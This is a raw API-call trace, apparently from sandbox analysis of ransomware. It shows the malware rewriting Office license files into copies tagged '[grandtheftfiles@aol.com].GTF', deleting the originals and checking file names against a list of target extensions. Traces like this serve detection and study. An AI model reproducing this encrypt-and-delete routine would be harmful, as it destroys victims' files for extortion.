	[0174.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220
	[0174.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.082] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.082] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0174.083] GetLastError () returned 0x0
	[0174.083] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0174.128] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0174.129] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.129] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x112, lpOverlapped=0x0) returned 1
	[0174.130] SetEndOfFile (hFile=0x3dc) returned 1
	[0174.166] CloseHandle (hObject=0x3dc) returned 1
	[0174.166] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.166] SetEndOfFile (hFile=0x530) returned 1
	[0174.183] CloseHandle (hObject=0x530) returned 1
	[0174.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1
	[0174.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.184] lstrlenW (lpString=".doc") returned 4
	[0174.184] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.184] lstrlenW (lpString=".docx") returned 5
	[0174.184] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.184] lstrlenW (lpString=".pdf") returned 4
	[0174.184] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.184] lstrlenW (lpString=".xls") returned 4
	[0174.185] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString=".xlsx") returned 5
	[0174.185] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.185] lstrlenW (lpString=".ppt") returned 4
	[0174.185] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.185] lstrlenW (lpString=".zip") returned 4
	[0174.185] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString=".rar") returned 4
	[0174.185] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString=".bz2") returned 4
	[0174.185] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString=".7z") returned 3
	[0174.185] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.185] lstrlenW (lpString=".dbf") returned 4
	[0174.185] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.185] lstrlenW (lpString=".1cd") returned 4
	[0174.185] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.185] lstrlenW (lpString=".jpg") returned 4
	[0174.185] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.185] lstrlenW (lpString=".doc") returned 4
	[0174.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString=".docx") returned 5
	[0174.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.185] lstrlenW (lpString=".pdf") returned 4
	[0174.185] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.185] lstrlenW (lpString=".xls") returned 4
	[0174.186] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.186] lstrlenW (lpString=".xlsx") returned 5
	[0174.186] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.186] lstrlenW (lpString=".ppt") returned 4
	[0174.186] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.186] lstrlenW (lpString=".zip") returned 4
	[0174.186] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.186] lstrlenW (lpString=".rar") returned 4
	[0174.186] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.186] lstrlenW (lpString=".bz2") returned 4
	[0174.186] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.186] lstrlenW (lpString=".7z") returned 3
	[0174.186] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.186] lstrlenW (lpString=".dbf") returned 4
	[0174.186] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.186] lstrlenW (lpString=".1cd") returned 4
	[0174.186] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0174.186] lstrlenW (lpString=".jpg") returned 4
	[0174.186] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.186] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.186] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33
	[0174.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.187] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11604) returned 1
	[0174.187] CloseHandle (hObject=0x530) returned 1
	[0174.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220
	[0174.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.188] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.188] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.192] GetLastError () returned 0x0
	[0174.192] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d54, lpOverlapped=0x0) returned 1
	[0174.324] WriteFile (in: hFile=0x590, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0174.325] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.325] WriteFile (in: hFile=0x590, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0174.325] SetEndOfFile (hFile=0x590) returned 1
	[0174.325] CloseHandle (hObject=0x590) returned 1
	[0174.325] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.325] SetEndOfFile (hFile=0x530) returned 1
	[0174.339] CloseHandle (hObject=0x530) returned 1
	[0174.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1
	[0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.555] lstrlenW (lpString=".doc") returned 4
	[0174.555] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.555] lstrlenW (lpString=".docx") returned 5
	[0174.555] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.555] lstrlenW (lpString=".pdf") returned 4
	[0174.555] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.555] lstrlenW (lpString=".xls") returned 4
	[0174.555] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.555] lstrlenW (lpString=".xlsx") returned 5
	[0174.555] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.555] lstrlenW (lpString=".ppt") returned 4
	[0174.555] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.555] lstrlenW (lpString=".zip") returned 4
	[0174.555] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.555] lstrlenW (lpString=".rar") returned 4
	[0174.556] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString=".bz2") returned 4
	[0174.556] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString=".7z") returned 3
	[0174.556] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.556] lstrlenW (lpString=".dbf") returned 4
	[0174.556] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.556] lstrlenW (lpString=".1cd") returned 4
	[0174.556] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.556] lstrlenW (lpString=".jpg") returned 4
	[0174.556] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.556] lstrlenW (lpString=".doc") returned 4
	[0174.556] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString=".docx") returned 5
	[0174.556] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.556] lstrlenW (lpString=".pdf") returned 4
	[0174.556] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString=".xls") returned 4
	[0174.556] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString=".xlsx") returned 5
	[0174.556] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.556] lstrlenW (lpString=".ppt") returned 4
	[0174.556] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.556] lstrlenW (lpString=".zip") returned 4
	[0174.556] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString=".rar") returned 4
	[0174.556] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.556] lstrlenW (lpString=".bz2") returned 4
	[0174.557] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.557] lstrlenW (lpString=".7z") returned 3
	[0174.557] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.557] lstrlenW (lpString=".dbf") returned 4
	[0174.557] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.557] lstrlenW (lpString=".1cd") returned 4
	[0174.557] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0174.557] lstrlenW (lpString=".jpg") returned 4
	[0174.557] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.557] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.557] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33
	[0174.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0174.558] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11620) returned 1
	[0174.558] CloseHandle (hObject=0x540) returned 1
	[0174.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220
	[0174.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0174.558] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.559] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.634] GetLastError () returned 0x0
	[0174.634] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d64, lpOverlapped=0x0) returned 1
	[0174.661] WriteFile (in: hFile=0x580, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.662] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.663] WriteFile (in: hFile=0x580, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0174.663] SetEndOfFile (hFile=0x580) returned 1
	[0174.663] CloseHandle (hObject=0x580) returned 1
	[0174.663] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.663] SetEndOfFile (hFile=0x540) returned 1
	[0174.689] CloseHandle (hObject=0x540) returned 1
	[0174.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1
	[0174.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.712] lstrlenW (lpString=".doc") returned 4
	[0174.712] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.712] lstrlenW (lpString=".docx") returned 5
	[0174.713] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.713] lstrlenW (lpString=".pdf") returned 4
	[0174.713] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString=".xls") returned 4
	[0174.713] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString=".xlsx") returned 5
	[0174.713] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.713] lstrlenW (lpString=".ppt") returned 4
	[0174.713] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.713] lstrlenW (lpString=".zip") returned 4
	[0174.713] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString=".rar") returned 4
	[0174.713] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString=".bz2") returned 4
	[0174.713] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString=".7z") returned 3
	[0174.713] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.713] lstrlenW (lpString=".dbf") returned 4
	[0174.713] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.713] lstrlenW (lpString=".1cd") returned 4
	[0174.713] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.713] lstrlenW (lpString=".jpg") returned 4
	[0174.713] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.714] lstrlenW (lpString=".doc") returned 4
	[0174.714] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString=".docx") returned 5
	[0174.714] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.714] lstrlenW (lpString=".pdf") returned 4
	[0174.714] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString=".xls") returned 4
	[0174.714] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString=".xlsx") returned 5
	[0174.714] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.714] lstrlenW (lpString=".ppt") returned 4
	[0174.714] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.714] lstrlenW (lpString=".zip") returned 4
	[0174.714] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString=".rar") returned 4
	[0174.714] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString=".bz2") returned 4
	[0174.714] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.714] lstrlenW (lpString=".7z") returned 3
	[0174.714] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0174.714] lstrlenW (lpString=".dbf") returned 4
	[0174.714] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
